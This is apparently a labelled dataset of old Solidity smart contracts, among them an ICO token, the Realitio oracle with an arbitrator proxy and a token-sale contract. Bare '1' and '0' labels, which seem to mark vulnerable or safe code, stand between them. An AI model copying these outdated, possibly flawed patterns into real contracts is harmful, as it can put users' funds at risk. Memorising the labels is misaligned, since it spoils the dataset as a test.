0xb7, "Cumulative gas is an RLP string."); offset += cumGasHeaderByte - 0x7f; } uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) } require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long."); offset += 256 + 3; uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) } require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long."); offset += 2; uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) } require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long."); offset += 2; uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) } require (addressHeaderByte == 0x94, "Address is 20 bytes long."); uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) } require (logAddress == uint(address(this))); } function memcpy(uint dest, uint src, uint len) pure private { for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TranslatixToken is ERC20 { using SafeMath for uint256; address public owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Translatix"; string public constant symbol = "TNX"; uint public constant decimals = 8; uint256 public totalSupply = 13000000000 * (10**decimals); uint256 public tokensPerEth = 10000000 * (10**decimals); uint256 public tokensForSale = 7800000000 * (10**decimals); uint256 public totalDistributed = 0; uint256 public constant minContribution = 1 ether / 100; uint256 public totalTokenSold; uint256 public totalWeiReceived; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event ICOStarted(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; bool public icoStarted = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor () public { owner = msg.sender; uint256 devTokens = 1300000000 * (10**decimals); distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function startICO() onlyOwner public returns (bool) { icoStarted = true; distributionFinished = false; emit ICOStarted(); return true; } function finishDistribution() onlyOwner public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultipleAddressMultiAmount(address[] _addresses, uint[] _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount[i]); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { require(icoStarted); uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); if(msg.value >= 1 ether){ tokens = tokensPerEth.mul((msg.value*5)/4) / 1 ether; } else { tokens = tokensPerEth.mul(msg.value) / 1 ether; } address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); totalWeiReceived = totalWeiReceived.add(msg.value); totalTokenSold = totalTokenSold.add(tokens); } if (totalTokenSold >= tokensForSale) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw(uint amount) onlyOwner public returns(bool) { require(amount < address(this).balance); owner.transfer(amount); return true; } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
1
pragma solidity ^0.4.24; library RealitioSafeMath256 { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.24; library RealitioSafeMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.18; contract BalanceHolder { mapping(address => uint256) public balanceOf; event LogWithdraw( address indexed user, uint256 amount ); function withdraw() public { uint256 bal = balanceOf[msg.sender]; balanceOf[msg.sender] = 0; msg.sender.transfer(bal); emit LogWithdraw(msg.sender, bal); } } pragma solidity ^0.4.24; contract Realitio is BalanceHolder { using RealitioSafeMath256 for uint256; using RealitioSafeMath32 for uint32; address constant NULL_ADDRESS = address(0); bytes32 constant NULL_HASH = bytes32(0); uint32 constant UNANSWERED = 0; uint256 constant COMMITMENT_NON_EXISTENT = 0; uint32 constant COMMITMENT_TIMEOUT_RATIO = 8; event LogSetQuestionFee( address arbitrator, uint256 amount ); event LogNewTemplate( uint256 indexed template_id, address indexed user, string question_text ); event LogNewQuestion( bytes32 indexed question_id, address indexed user, uint256 template_id, string question, bytes32 indexed content_hash, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce, uint256 created ); event LogFundAnswerBounty( bytes32 indexed question_id, uint256 bounty_added, uint256 bounty, address indexed user ); event LogNewAnswer( bytes32 answer, bytes32 indexed question_id, bytes32 history_hash, address indexed user, uint256 bond, uint256 ts, bool is_commitment ); event LogAnswerReveal( bytes32 indexed question_id, address indexed user, bytes32 indexed answer_hash, bytes32 answer, uint256 nonce, uint256 bond ); event LogNotifyOfArbitrationRequest( bytes32 indexed question_id, address indexed user ); event LogFinalize( bytes32 indexed question_id, bytes32 indexed answer ); event LogClaim( bytes32 indexed question_id, address indexed user, uint256 amount ); struct Question { bytes32 content_hash; address arbitrator; uint32 opening_ts; uint32 timeout; uint32 finalize_ts; bool is_pending_arbitration; uint256 bounty; bytes32 best_answer; bytes32 history_hash; uint256 bond; } struct Commitment { uint32 reveal_ts; bool is_revealed; bytes32 revealed_answer; } struct Claim { address payee; uint256 last_bond; uint256 queued_funds; } uint256 nextTemplateID = 0; mapping(uint256 => uint256) public templates; mapping(uint256 => bytes32) public template_hashes; mapping(bytes32 => Question) public questions; mapping(bytes32 => Claim) public question_claims; mapping(bytes32 => Commitment) public commitments; mapping(address => uint256) public arbitrator_question_fees; modifier onlyArbitrator(bytes32 question_id) { require(msg.sender == questions[question_id].arbitrator, "msg.sender must be arbitrator"); _; } modifier stateAny() { _; } modifier stateNotCreated(bytes32 question_id) { require(questions[question_id].timeout == 0, "question must not exist"); _; } modifier stateOpen(bytes32 question_id) { require(questions[question_id].timeout > 0, "question must exist"); require(!questions[question_id].is_pending_arbitration, "question must not be pending arbitration"); uint32 finalize_ts = questions[question_id].finalize_ts; require(finalize_ts == UNANSWERED || finalize_ts > uint32(now), "finalization deadline must not have passed"); uint32 opening_ts = questions[question_id].opening_ts; require(opening_ts == 0 || opening_ts <= uint32(now), "opening date must have passed"); _; } modifier statePendingArbitration(bytes32 question_id) { require(questions[question_id].is_pending_arbitration, "question must be pending arbitration"); _; } modifier stateOpenOrPendingArbitration(bytes32 question_id) { require(questions[question_id].timeout > 0, "question must exist"); uint32 finalize_ts = questions[question_id].finalize_ts; require(finalize_ts == UNANSWERED || finalize_ts > uint32(now), "finalization dealine must not have passed"); uint32 opening_ts = questions[question_id].opening_ts; require(opening_ts == 0 || opening_ts <= uint32(now), "opening date must have passed"); _; } modifier stateFinalized(bytes32 question_id) { require(isFinalized(question_id), "question must be finalized"); _; } modifier bondMustBeZero() { require(msg.value == 0, "bond must be zero"); _; } modifier bondMustDouble(bytes32 question_id) { require(msg.value > 0, "bond must be positive"); require(msg.value >= (questions[question_id].bond.mul(2)), "bond must be double at least previous bond"); _; } modifier previousBondMustNotBeatMaxPrevious(bytes32 question_id, uint256 max_previous) { if (max_previous > 0) { require(questions[question_id].bond <= max_previous, "bond must exceed max_previous"); } _; } constructor() public { createTemplate('{"title": "%s", "type": "bool", "category": "%s", "lang": "%s"}'); createTemplate('{"title": "%s", "type": "uint", "decimals": 18, "category": "%s", "lang": "%s"}'); createTemplate('{"title": "%s", "type": "single-select", "outcomes": [%s], "category": "%s", "lang": "%s"}'); createTemplate('{"title": "%s", "type": "multiple-select", "outcomes": [%s], "category": "%s", "lang": "%s"}'); createTemplate('{"title": "%s", "type": "datetime", "category": "%s", "lang": "%s"}'); } function setQuestionFee(uint256 fee) stateAny() external { arbitrator_question_fees[msg.sender] = fee; emit LogSetQuestionFee(msg.sender, fee); } function createTemplate(string content) stateAny() public returns (uint256) { uint256 id = nextTemplateID; templates[id] = block.number; template_hashes[id] = keccak256(abi.encodePacked(content)); emit LogNewTemplate(id, msg.sender, content); nextTemplateID = id.add(1); return id; } function createTemplateAndAskQuestion( string content, string question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce ) public payable returns (bytes32) { uint256 template_id = createTemplate(content); return askQuestion(template_id, question, arbitrator, timeout, opening_ts, nonce); } function askQuestion(uint256 template_id, string question, address arbitrator, uint32 timeout, uint32 opening_ts, uint256 nonce) public payable returns (bytes32) { require(templates[template_id] > 0, "template must exist"); bytes32 content_hash = keccak256(abi.encodePacked(template_id, opening_ts, question)); bytes32 question_id = keccak256(abi.encodePacked(content_hash, arbitrator, timeout, msg.sender, nonce)); _askQuestion(question_id, content_hash, arbitrator, timeout, opening_ts); emit LogNewQuestion(question_id, msg.sender, template_id, question, content_hash, arbitrator, timeout, opening_ts, nonce, now); return question_id; } function _askQuestion(bytes32 question_id, bytes32 content_hash, address arbitrator, uint32 timeout, uint32 opening_ts) stateNotCreated(question_id) internal { require(timeout > 0, "timeout must be positive"); require(timeout < 365 days, "timeout must be less than 365 days"); require(arbitrator != NULL_ADDRESS, "arbitrator must be set"); uint256 bounty = msg.value; if (msg.sender != arbitrator) { uint256 question_fee = arbitrator_question_fees[arbitrator]; require(bounty >= question_fee, "ETH provided must cover question fee"); bounty = bounty.sub(question_fee); balanceOf[arbitrator] = balanceOf[arbitrator].add(question_fee); } questions[question_id].content_hash = content_hash; questions[question_id].arbitrator = arbitrator; questions[question_id].opening_ts = opening_ts; questions[question_id].timeout = timeout; questions[question_id].bounty = bounty; } function fundAnswerBounty(bytes32 question_id) stateOpen(question_id) external payable { questions[question_id].bounty = questions[question_id].bounty.add(msg.value); emit LogFundAnswerBounty(question_id, msg.value, questions[question_id].bounty, msg.sender); } function submitAnswer(bytes32 question_id, bytes32 answer, uint256 max_previous) stateOpen(question_id) bondMustDouble(question_id) previousBondMustNotBeatMaxPrevious(question_id, max_previous) external payable { _addAnswerToHistory(question_id, answer, msg.sender, msg.value, false); _updateCurrentAnswer(question_id, answer, questions[question_id].timeout); } function submitAnswerCommitment(bytes32 question_id, bytes32 answer_hash, uint256 max_previous, address _answerer) stateOpen(question_id) bondMustDouble(question_id) previousBondMustNotBeatMaxPrevious(question_id, max_previous) external payable { bytes32 commitment_id = keccak256(abi.encodePacked(question_id, answer_hash, msg.value)); address answerer = (_answerer == NULL_ADDRESS) ? msg.sender : _answerer; require(commitments[commitment_id].reveal_ts == COMMITMENT_NON_EXISTENT, "commitment must not already exist"); uint32 commitment_timeout = questions[question_id].timeout / COMMITMENT_TIMEOUT_RATIO; commitments[commitment_id].reveal_ts = uint32(now).add(commitment_timeout); _addAnswerToHistory(question_id, commitment_id, answerer, msg.value, true); } function submitAnswerReveal(bytes32 question_id, bytes32 answer, uint256 nonce, uint256 bond) stateOpenOrPendingArbitration(question_id) external { bytes32 answer_hash = keccak256(abi.encodePacked(answer, nonce)); bytes32 commitment_id = keccak256(abi.encodePacked(question_id, answer_hash, bond)); require(!commitments[commitment_id].is_revealed, "commitment must not have been revealed yet"); require(commitments[commitment_id].reveal_ts > uint32(now), "reveal deadline must not have passed"); commitments[commitment_id].revealed_answer = answer; commitments[commitment_id].is_revealed = true; if (bond == questions[question_id].bond) { _updateCurrentAnswer(question_id, answer, questions[question_id].timeout); } emit LogAnswerReveal(question_id, msg.sender, answer_hash, answer, nonce, bond); } function _addAnswerToHistory(bytes32 question_id, bytes32 answer_or_commitment_id, address answerer, uint256 bond, bool is_commitment) internal { bytes32 new_history_hash = keccak256(abi.encodePacked(questions[question_id].history_hash, answer_or_commitment_id, bond, answerer, is_commitment)); if (bond > 0) { questions[question_id].bond = bond; } questions[question_id].history_hash = new_history_hash; emit LogNewAnswer(answer_or_commitment_id, question_id, new_history_hash, answerer, bond, now, is_commitment); } function _updateCurrentAnswer(bytes32 question_id, bytes32 answer, uint32 timeout_secs) internal { questions[question_id].best_answer = answer; questions[question_id].finalize_ts = uint32(now).add(timeout_secs); } function notifyOfArbitrationRequest(bytes32 question_id, address requester, uint256 max_previous) onlyArbitrator(question_id) stateOpen(question_id) previousBondMustNotBeatMaxPrevious(question_id, max_previous) external { require(questions[question_id].bond > 0, "Question must already have an answer when arbitration is requested"); questions[question_id].is_pending_arbitration = true; emit LogNotifyOfArbitrationRequest(question_id, requester); } function submitAnswerByArbitrator(bytes32 question_id, bytes32 answer, address answerer) onlyArbitrator(question_id) statePendingArbitration(question_id) bondMustBeZero external { require(answerer != NULL_ADDRESS, "answerer must be provided"); emit LogFinalize(question_id, answer); questions[question_id].is_pending_arbitration = false; _addAnswerToHistory(question_id, answer, answerer, 0, false); _updateCurrentAnswer(question_id, answer, 0); } function isFinalized(bytes32 question_id) view public returns (bool) { uint32 finalize_ts = questions[question_id].finalize_ts; return ( !questions[question_id].is_pending_arbitration && (finalize_ts > UNANSWERED) && (finalize_ts <= uint32(now)) ); } function getFinalAnswer(bytes32 question_id) stateFinalized(question_id) external view returns (bytes32) { return questions[question_id].best_answer; } function resultFor(bytes32 question_id) stateFinalized(question_id) external view returns (bytes32) { return questions[question_id].best_answer; } function getFinalAnswerIfMatches( bytes32 question_id, bytes32 content_hash, address arbitrator, uint32 min_timeout, uint256 min_bond ) stateFinalized(question_id) external view returns (bytes32) { require(content_hash == questions[question_id].content_hash, "content hash must match"); require(arbitrator == questions[question_id].arbitrator, "arbitrator must match"); require(min_timeout <= questions[question_id].timeout, "timeout must be long enough"); require(min_bond <= questions[question_id].bond, "bond must be high enough"); return questions[question_id].best_answer; } function claimWinnings( bytes32 question_id, bytes32[] history_hashes, address[] addrs, uint256[] bonds, bytes32[] answers ) stateFinalized(question_id) public { require(history_hashes.length > 0, "at least one history hash entry must be provided"); address payee = question_claims[question_id].payee; uint256 last_bond = question_claims[question_id].last_bond; uint256 queued_funds = question_claims[question_id].queued_funds; bytes32 last_history_hash = questions[question_id].history_hash; bytes32 best_answer = questions[question_id].best_answer; uint256 i; for (i = 0; i < history_hashes.length; i++) { bool is_commitment = _verifyHistoryInputOrRevert(last_history_hash, history_hashes[i], answers[i], bonds[i], addrs[i]); queued_funds = queued_funds.add(last_bond); (queued_funds, payee) = _processHistoryItem( question_id, best_answer, queued_funds, payee, addrs[i], bonds[i], answers[i], is_commitment); last_bond = bonds[i]; last_history_hash = history_hashes[i]; } if (last_history_hash != NULL_HASH) { if (payee != NULL_ADDRESS) { _payPayee(question_id, payee, queued_funds); queued_funds = 0; } question_claims[question_id].payee = payee; question_claims[question_id].last_bond = last_bond; question_claims[question_id].queued_funds = queued_funds; } else { _payPayee(question_id, payee, queued_funds.add(last_bond)); delete question_claims[question_id]; } questions[question_id].history_hash = last_history_hash; } function _payPayee(bytes32 question_id, address payee, uint256 value) internal { balanceOf[payee] = balanceOf[payee].add(value); emit LogClaim(question_id, payee, value); } function _verifyHistoryInputOrRevert( bytes32 last_history_hash, bytes32 history_hash, bytes32 answer, uint256 bond, address addr ) internal pure returns (bool) { if (last_history_hash == keccak256(abi.encodePacked(history_hash, answer, bond, addr, true)) ) { return true; } if (last_history_hash == keccak256(abi.encodePacked(history_hash, answer, bond, addr, false)) ) { return false; } revert("History input provided did not match the expected hash"); } function _processHistoryItem( bytes32 question_id, bytes32 best_answer, uint256 queued_funds, address payee, address addr, uint256 bond, bytes32 answer, bool is_commitment ) internal returns (uint256, address) { if (is_commitment) { bytes32 commitment_id = answer; if (!commitments[commitment_id].is_revealed) { delete commitments[commitment_id]; return (queued_funds, payee); } else { answer = commitments[commitment_id].revealed_answer; delete commitments[commitment_id]; } } if (answer == best_answer) { if (payee == NULL_ADDRESS) { payee = addr; queued_funds = queued_funds.add(questions[question_id].bounty); questions[question_id].bounty = 0; } else if (addr != payee) { uint256 answer_takeover_fee = (queued_funds >= bond) ? bond : queued_funds; _payPayee(question_id, payee, queued_funds.sub(answer_takeover_fee)); payee = addr; queued_funds = answer_takeover_fee; } } return (queued_funds, payee); } function claimMultipleAndWithdrawBalance( bytes32[] question_ids, uint256[] lengths, bytes32[] hist_hashes, address[] addrs, uint256[] bonds, bytes32[] answers ) stateAny() public { uint256 qi; uint256 i; for (qi = 0; qi < question_ids.length; qi++) { bytes32 qid = question_ids[qi]; uint256 ln = lengths[qi]; bytes32[] memory hh = new bytes32[](ln); address[] memory ad = new address[](ln); uint256[] memory bo = new uint256[](ln); bytes32[] memory an = new bytes32[](ln); uint256 j; for (j = 0; j < ln; j++) { hh[j] = hist_hashes[i]; ad[j] = addrs[i]; bo[j] = bonds[i]; an[j] = answers[i]; i++; } claimWinnings(qid, hh, ad, bo, an); } withdraw(); } function getContentHash(bytes32 question_id) public view returns(bytes32) { return questions[question_id].content_hash; } function getArbitrator(bytes32 question_id) public view returns(address) { return questions[question_id].arbitrator; } function getOpeningTS(bytes32 question_id) public view returns(uint32) { return questions[question_id].opening_ts; } function getTimeout(bytes32 question_id) public view returns(uint32) { return questions[question_id].timeout; } function getFinalizeTS(bytes32 question_id) public view returns(uint32) { return questions[question_id].finalize_ts; } function isPendingArbitration(bytes32 question_id) public view returns(bool) { return questions[question_id].is_pending_arbitration; } function getBounty(bytes32 question_id) public view returns(uint256) { return questions[question_id].bounty; } function getBestAnswer(bytes32 question_id) public view returns(bytes32) { return questions[question_id].best_answer; } function getHistoryHash(bytes32 question_id) public view returns(bytes32) { return questions[question_id].history_hash; } function getBond(bytes32 question_id) public view returns(uint256) { return questions[question_id].bond; } } pragma solidity ^0.4.15; contract Arbitrator { enum DisputeStatus {Waiting, Appealable, Solved} modifier requireArbitrationFee(bytes _extraData) { require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs."); _; } modifier requireAppealFee(uint _disputeID, bytes _extraData) { require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs."); _; } event DisputeCreation(uint indexed _disputeID, Arbitrable indexed _arbitrable); event AppealPossible(uint indexed _disputeID, Arbitrable indexed _arbitrable); event AppealDecision(uint indexed _disputeID, Arbitrable indexed _arbitrable); function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} function arbitrationCost(bytes _extraData) public view returns(uint fee); function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { emit AppealDecision(_disputeID, Arbitrable(msg.sender)); } function appealCost(uint _disputeID, bytes _extraData) public view returns(uint fee); function appealPeriod(uint _disputeID) public view returns(uint start, uint end) {} function disputeStatus(uint _disputeID) public view returns(DisputeStatus status); function currentRuling(uint _disputeID) public view returns(uint ruling); } pragma solidity ^0.4.15; interface IArbitrable { event MetaEvidence(uint indexed _metaEvidenceID, string _evidence); event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID); event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence); event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling); function rule(uint _disputeID, uint _ruling) public; } pragma solidity ^0.4.15; contract Arbitrable is IArbitrable { Arbitrator public arbitrator; bytes public arbitratorExtraData; modifier onlyArbitrator {require(msg.sender == address(arbitrator), "Can only be called by the arbitrator."); _;} constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public { arbitrator = _arbitrator; arbitratorExtraData = _arbitratorExtraData; } function rule(uint _disputeID, uint _ruling) public onlyArbitrator { emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling); executeRuling(_disputeID,_ruling); } function executeRuling(uint _disputeID, uint _ruling) internal; } pragma solidity ^0.4.24; contract RealitioArbitratorProxy is Arbitrable { event DisputeIDToQuestionID(uint indexed _disputeID, bytes32 _questionID); address public deployer; Realitio public realitio; mapping(uint => bytes32) public disputeIDToQuestionID; mapping(bytes32 => address) public questionIDToDisputer; mapping(bytes32 => bytes32) public questionIDToAnswer; mapping(bytes32 => bool) public questionIDToRuled; constructor( Arbitrator _arbitrator, bytes _arbitratorExtraData, Realitio _realitio ) Arbitrable(_arbitrator, _arbitratorExtraData) public { deployer = msg.sender; realitio = _realitio; } function setMetaEvidence(string _metaEvidence) external { require(msg.sender == deployer, "Can only be called once by the deployer of the contract."); deployer = address(0); emit MetaEvidence(0, _metaEvidence); } function requestArbitration(bytes32 _questionID, uint _maxPrevious) external payable { uint disputeID = arbitrator.createDispute.value(msg.value)((2 ** 128) - 1, arbitratorExtraData); disputeIDToQuestionID[disputeID] = _questionID; questionIDToDisputer[_questionID] = msg.sender; realitio.notifyOfArbitrationRequest(_questionID, msg.sender, _maxPrevious); emit Dispute(arbitrator, disputeID, 0, 0); emit DisputeIDToQuestionID(disputeID, _questionID); } function reportAnswer( bytes32 _questionID, bytes32 _lastHistoryHash, bytes32 _lastAnswerOrCommitmentID, uint _lastBond, address _lastAnswerer, bool _isCommitment ) external { require( realitio.getHistoryHash(_questionID) == keccak256(_lastHistoryHash, _lastAnswerOrCommitmentID, _lastBond, _lastAnswerer, _isCommitment), "The hash of the history parameters supplied does not match the one stored in the Realitio contract." ); require(questionIDToRuled[_questionID], "The arbitrator has not ruled yet."); realitio.submitAnswerByArbitrator( _questionID, questionIDToAnswer[_questionID], computeWinner(_questionID, _lastAnswerOrCommitmentID, _lastBond, _lastAnswerer, _isCommitment) ); delete questionIDToDisputer[_questionID]; delete questionIDToAnswer[_questionID]; delete questionIDToRuled[_questionID]; } function getDisputeFee(bytes32 _questionID) external view returns (uint fee) { return arbitrator.arbitrationCost(arbitratorExtraData); } function executeRuling(uint _disputeID, uint _ruling) internal { questionIDToAnswer[disputeIDToQuestionID[_disputeID]] = bytes32(_ruling == 0 ? uint(-1) : _ruling - 1); questionIDToRuled[disputeIDToQuestionID[_disputeID]] = true; delete disputeIDToQuestionID[_disputeID]; } function computeWinner( bytes32 _questionID, bytes32 _lastAnswerOrCommitmentID, uint _lastBond, address _lastAnswerer, bool _isCommitment ) private view returns(address winner) { bytes32 lastAnswer; bool isAnswered; if (_lastBond == 0) { isAnswered = false; } else if (_isCommitment) { (uint32 revealTS, bool isRevealed, bytes32 revealedAnswer) = realitio.commitments(_lastAnswerOrCommitmentID); if (isRevealed) { lastAnswer = revealedAnswer; isAnswered = true; } else { require(revealTS < uint32(now), "Arbitration cannot be done until the last answerer has had time to reveal its commitment."); isAnswered = false; } } else { lastAnswer = _lastAnswerOrCommitmentID; isAnswered = true; } return isAnswered && lastAnswer == questionIDToAnswer[_questionID] ? _lastAnswerer : questionIDToDisputer[_questionID]; } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TokenCHK { function balanceOf(address _owner) public pure returns (uint256 balance) {} } contract ESSENTIA_PE is Ownable { using SafeMath for uint256; string public name = "ESSENTIA Public Engagement"; uint256 public tokenPrice = 0; uint256 public maxCap = 0; address public FWDaddrETH; address public ESSgenesis; uint256 public totalSold; uint256 public decimals = 18; mapping (address => uint256) public sold; uint256 public pubEnd = 0; address contractAddr=this; uint256 public tokenUnit = uint256(10)**decimals; constructor ( address toETHaddr, address addrESSgenesis ) public { FWDaddrETH = toETHaddr; ESSgenesis = addrESSgenesis; } function () public payable { buy(); } function setFWDaddrETH(address _value) public onlyOwner { FWDaddrETH = _value; } function setGenesis(address _value) public onlyOwner { ESSgenesis = _value; } function setMaxCap(uint256 _value) public onlyOwner { maxCap = _value; } function setPrice(uint256 _value) public onlyOwner { tokenPrice = _value; } function setPubEnd(uint256 _value) public onlyOwner { pubEnd = _value; } function buy() public payable { require(block.timestamp < pubEnd); require(msg.value > 0); require(msg.value <= msg.sender.balance + msg.value); require(msg.value + totalSold <= maxCap); uint256 tokenAmount = (msg.value * tokenUnit) / tokenPrice; require(tokenAmount<=TokenCHK(ESSgenesis).balanceOf(contractAddr)); transferBuy(msg.sender, tokenAmount); totalSold = totalSold.add(msg.value); FWDaddrETH.transfer(msg.value); } function withdrawPUB() public returns(bool){ require(block.timestamp > pubEnd); require(sold[msg.sender] > 0); if(!ESSgenesis.call(bytes4(keccak256("transfer(address,uint256)")), msg.sender, sold[msg.sender])){revert();} delete sold[msg.sender]; return true; } function transferBuy(address _to, uint256 _value) internal returns (bool) { require(_to != address(0)); sold[_to]=sold[_to].add(_value); return true; } function EMGwithdraw(uint256 weiValue) external onlyOwner { require(block.timestamp > pubEnd); require(weiValue > 0); FWDaddrETH.transfer(weiValue); } }
0
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns 